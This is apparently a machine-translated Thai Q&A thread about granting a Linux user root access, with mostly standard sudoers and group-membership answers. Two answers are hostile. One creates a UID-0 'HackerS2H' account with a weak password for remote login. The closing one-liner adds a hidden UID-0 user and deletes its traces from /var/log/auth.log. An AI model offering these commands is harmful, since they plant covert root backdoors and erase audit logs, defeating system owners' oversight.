ฉันต้องการเพิ่มผู้ใช้ใหม่และมี / ให้สิทธิ์ผู้ใช้รายใหม่เพื่อเข้าถึงรูททั้งหมดฉันจะทำอย่างไร
ฉันทำsudo adduser --system testuser
แต่สิ่งนี้ไม่ทำงานตามที่คาดไว้
ขอบคุณที่ช่วยเหลือ.
ฉันต้องการเพิ่มผู้ใช้ใหม่และมี / ให้สิทธิ์ผู้ใช้รายใหม่เพื่อเข้าถึงรูททั้งหมดฉันจะทำอย่างไร
ฉันทำsudo adduser --system testuser
แต่สิ่งนี้ไม่ทำงานตามที่คาดไว้
ขอบคุณที่ช่วยเหลือ.
คำตอบ:
จริงๆแล้วมีสามวิธีที่คุณสามารถทำได้: วิธีที่ถูกวิธีผิดและวิธีน่าเกลียด
ขั้นแรกให้สร้างบัญชีผู้ใช้ปกติ
adduser username
จากนั้นเลือกหนึ่งในรายการต่อไปนี้:
สร้างsudo
รายการสำหรับwheel
กลุ่ม/etc/sudoers
ดังนี้:
## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
หรือสำหรับเวอร์ชั่น "ทันสมัย":
## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL) ALL
จากนั้นเพิ่มผู้ใช้ไปยังwheel
กลุ่ม ตอนนี้การเพิ่มและลบผู้ใช้ที่มีสิทธิ์การดูแลระบบจะกลายเป็นฟังก์ชั่นการจดจำเพื่อเพิ่มผู้ใช้ลงในวงล้อแทนที่จะสร้างรายการใน sudo สิ่งที่ดีเกี่ยวกับการใช้วงล้อคือคุณสามารถขยายกลไกนี้ไปยังแผนการรับรองความถูกต้องอื่น ๆ ที่สนับสนุนกลุ่มเช่น winbind / Active Directory และเก็บเกี่ยวผลประโยชน์ในกระบวนการ คุณจะทำสิ่งนี้ได้ด้วยการจับคู่วงล้อกับกลุ่มในสคีมาการตรวจสอบสิทธิ์ที่มีสิทธิ์ผู้ดูแลระบบ
โปรดทราบว่าการแจกแจงบางอย่างใช้บัญชีผู้ดูแลที่แตกต่างกัน ล้อเป็นวิธีการ "ดั้งเดิม" นี้ แต่คุณอาจพบadmin
, adm
และบัญชีกลุ่มอื่น ๆ ที่มีวัตถุประสงค์เดียวกัน
แก้ไขการติดตาม:
ฉันต้องให้คะแนนกับBart Silverstrimเพื่อชี้ให้เห็นว่า Ubuntu ใช้admin
เป็นกลุ่มเพื่อจุดประสงค์นี้ เขามาที่นี่ก่อนแม้ว่าฉันจะไม่ได้สังเกตแท็ก Ubuntu ในเวลานั้น อีกครั้งทุกอย่างขึ้นอยู่กับการกระจายที่คุณใช้
สร้างรายการ sudo สำหรับบัญชีผู้ใช้ที่เป็นปัญหาและให้สิทธิ์การเข้าถึงที่สมบูรณ์ อีกครั้งคุณสร้างรายการใน/etc/sudoers
ลักษณะนี้:
## Allows just user "username" to run all commands as root
username ALL=(ALL) ALL
เพิ่ม: ## สำหรับเวอร์ชัน Ubuntu: ชื่อผู้ใช้ ALL = (ทั้งหมด: ทั้งหมด)
เป็นการดีถ้าคุณมีบัญชีปกติเพียงหนึ่งบัญชี (หรือสองบัญชี) มันน่าเกลียดเมื่อคุณมีบัญชีนับร้อยในหลาย ๆ ไซต์ (ธรณีฟิสิกส์) และต้องดูแลไฟล์ sudo อย่างต่อเนื่อง
คุณสามารถแก้ไขไฟล์และเปลี่ยนรหัสบัญชีผู้ใช้จากสิ่งที่จำนวนเป็นเพื่อ/etc/passwd
0
ที่เหมาะสมเป็นศูนย์
username:x:0:502::/home/username:/bin/bash
ดูรายการที่สามว่าเป็นศูนย์หรือไม่ root
เมื่อคุณเข้าสู่บัญชีที่คุณมีเพื่อวัตถุประสงค์ที่มีประสิทธิภาพทั้งหมด ฉันไม่แนะนำนี้ หากคุณจำไม่ได้ว่า "ใคร" root
ที่คุณอยู่คุณสามารถสร้างทุกชนิดของความเสียหายในขณะที่คุณเริ่มต้นสร้างและไฟล์สัมผัสเป็น คุณสามารถเพิ่มชื่อผู้ใช้ของคุณไปยังroot
กลุ่ม สิ่งนี้มีผลเหมือนกันสำหรับการเข้าถึงไฟล์ แต่มันสร้างปัญหาอื่น ๆ โปรแกรมจะแจ้งให้ทราบคุณไม่ได้ใช้ root
และปฏิเสธที่จะทำงาน แต่คุณจะได้รับการเข้าถึงไฟล์ที่อยู่ในกลุ่ม root
หากคุณทำสิ่งนี้คุณใช้vipw
แทนการแก้ไขด้วยvi
ใช่ไหม (หรือเครื่องมือแก้ไขข้อความที่คุณชื่นชอบ) หลังจากพิมพ์ผิดในไฟล์นี้คุณสามารถล็อคคุณออกจากระบบของคุณ - และนั่นหมายถึงการเข้าชมคอมพิวเตอร์ที่มีปัญหาด้วยดิสก์ซ่อม ...
ฉันใช้สิ่งนี้มานานหลายปีแล้วและเป็นวิธีที่# 1 แนะนำให้เพิ่ม sudoer ใน AskUbuntu :
adduser existinguser sudo
ง่ายกว่าการแก้ไขไฟล์และง่ายต่อการโยนลงในเชลล์สคริปต์สำหรับการติดตั้งแบบไม่ต้องใส่ข้อมูล
หากคุณต้องการสร้างผู้ใช้และให้สิทธิ์ sudo คุณสามารถทำได้ในหนึ่งบรรทัดดังนี้:
useradd newuser -m -G sudo
passwd newuser
-m
สร้างโฮมไดเรกทอรีและ-G
ระบุกลุ่มเพิ่มเติม
และนี่คือ 100%:
adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456
และเชื่อมต่อกับ putty และ ip server
คุณอาจสร้างผู้ใช้ด้วย adduser ดู man adduser
หลังจากที่คุณสามารถเพิ่มลงในกลุ่มที่มีสิทธิพิเศษเช่นรูทหรือล้อ แต่ฉันคิดว่าวิธีที่แนะนำมากที่สุดในการขออนุญาตใช้ sudo
คุณสามารถทำได้:
#useradd -m -g root alex
มันสร้างผู้ใช้อเล็กซ์ด้วยไดเรกทอรีบ้านที่อยู่ในกลุ่มรูต
นอกจากคำตอบของ Avery Payne ใน Ubuntu คุณอาจต้องการ:
%sudo ALL=(ALL:ALL) ALL
และไม่ชอบ:
%sudo ALL=(ALL) ALL
วิธี "น่าเกลียดและยุ่งเหยิง" คือการแก้ไข / etc / passwd เพื่อให้มี UID = 0 AND GID = 0 สำหรับผู้ใช้ใหม่ แต่นี้ poses ความเสี่ยงมากการรักษาความปลอดภัย คุณรู้ไหมว่าถ้าเขารูทเขาอาจปิดการใช้งาน accont ของคุณเปลี่ยนรหัสผ่านทำให้คุณเป็น "ผู้ใช้มาตรฐาน" ... ใช่ไหม? ดังนั้นทำไมไม่เพียงให้เขาบัญชีคุณเอง?
คุณสามารถศึกษาวิธีที่ suid ( http://en.wikipedia.org/wiki/Setuid ) ทำงานหากคุณต้องการให้สิทธิ์เข้าถึงรูทแก่เขาด้วยคำสั่งเพียงไม่กี่คำ
นี่คือหนึ่งซับ:
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
ที่ดีที่สุด